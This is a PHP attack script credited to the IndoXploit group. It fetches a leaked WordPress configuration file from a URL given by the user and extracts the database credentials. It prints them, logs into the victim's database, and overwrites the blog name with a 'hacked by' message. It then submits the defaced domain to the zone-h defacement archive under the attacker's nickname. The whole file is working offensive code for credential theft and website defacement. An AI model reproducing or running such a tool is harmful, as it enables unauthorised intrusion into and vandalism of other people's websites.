link_title_2.php

<?php
// Tu5b0l3d -IndoXploit-
// link_index.php

error_reporting(0);
    if($_POST){

        function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}

    function anucurl($sites){
        $ch1 = curl_init ("$sites");
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch1);
return $data;
    }


        $link = $_POST['link'];
        $script = $_POST['script'];
        $zh = $_POST['nick'];
        if($script==""){
            echo "Isi Dulu Hacked By \$script\n\n";
        }
        else{
        $file = anucurl($link);

        $host = ambilkata($file,"DB_HOST', '","'");
                    $username = ambilkata($file,"DB_USER', '","'");
                    $password = ambilkata($file,"DB_PASSWORD', '","'");
                    $db = ambilkata($file,"DB_NAME', '","'");
                    $dbprefix = ambilkata($file,"table_prefix  = '","'");
                    $sue = $db.".".$dbprefix."options";



                    echo "# Db Host: $host\n";
                    echo "# Db user: $username\n";
                    echo "# Db Password: $password\n";
                    echo "# Db name: $db\n";
                    echo "# Table_Prefix: $dbprefix\n";

        mysql_connect($host,$username,$password);
        mysql_select_db($db);

        $tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
        $r2=mysql_fetch_array($tampil2);
        $target = $r2[option_value];
         echo "# $target\n";

         mysql_query("UPDATE $sue SET option_value='$script' WHERE option_name='blogname'");

$bs = anucurl($target);

 if(preg_match("#hacked#si",$bs)){
                        echo "-> berhasil mepes...\n";

                        echo "-> zone-h: ";
                    $ch3 = curl_init ("http://www.zone-h.com/notify/single");
                        curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt ($ch3, CURLOPT_POST, 1);
                        curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=$zh&domain1=$target&hackmode=1&reason=1&submit=Send");  // here put ur name on zone-h

        if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3))){
                echo  " Ok \n\n";
        }else{
                echo " No\n\n";

                    }



                    }




}
    }else{
            echo 'Tu5b0l3d -IndoXPloit-';
        }


?>